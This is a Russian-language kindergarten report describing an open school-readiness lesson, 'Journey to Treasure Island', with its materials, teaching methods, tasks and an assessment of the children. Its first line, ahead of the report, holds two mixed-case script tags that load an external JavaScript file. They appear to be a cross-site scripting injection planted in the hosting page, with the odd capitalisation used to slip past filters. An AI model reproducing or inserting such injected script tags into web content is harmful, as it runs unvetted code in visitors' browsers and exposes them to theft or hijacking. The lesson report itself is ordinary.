<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

25.04.2017

Воспитатель: Овчарова Т.В.

Группа: № 10

Дата: 18.04.2017

Название мероприятия: «Открытое итоговое занятие»

Тема:« Путешествие на остров сокровищ»

Количество детей : 17

Целевая группа: 14

 Содержание: 

В старшей группе № 10 «Ромашка» прошло открытое итоговое занятие по

формированию школьной зрелости на тему : «Путешествие на остров сокровищ».

Продолжительность занятия 25 минут.

Материалы используемые на занятии:

демонстрационный:

карта «Острова сокровищ», послание с заданиями, сундук, золотые монеты

(счастьегранки),игрушка попугай, пальма, образец танграм

раздаточный:

простые и цветные  карандаши в

подставках, рабочие тетради, игра танграм

Методы: репродуктивный, словесной передачи и слухового восприятия, наглядной передачи и

зрительного восприятия, индивидуальная и групповая работа

Приемы:  рассказ, игровые упражнения, художественное

слово, выполнение заданий.

Здоровьесберегающие технологии:  физминутка,  кинезеологическая гимнастика, слежение за осанкой и

посадкой детей во время занятия, релаксация.

Билингвальный компонент:   счет до 10  на казахском языке, карандаш – карындаш

 Занятие проходило в игровой форме , в виде

путешествия. Дети  выполняли задания

капитана Весельчака, продвигаясь  по

карте к острову Сокровищ. В ходе занятия были использованы кинезеологическая

гимнастика, физминутка .Занятие динамичное, компактное. Дети справились со

всеми заданиями, это и построение из танграма кораблика, и называние частей

суток и времен года, и решение задач, и 

закрепление прямого и обратного счета. У детей хорошо развит словарный

запас  и ассоциативное мышление. Дети

назвали  достаточно много ассоциаций со

словом школа. Так же справились с заданием в тетради Это и задание на мелкую

моторику рук « Волна»,и ориентировка на листе бумаги « Сладости для пиратов», и

графический диктант  « Ключ». Считаю, что

занятие прошло успешно, методически правильно. В конце путешествия , попав на

остров Сокровищ, дети нашли сундук с сокровищами, в котором оказались драгоценности

и счастьегранки в виде монет. Каждый ребенок за работу на занятии был отмечен

похвалой на счастьегранке и получил свою монету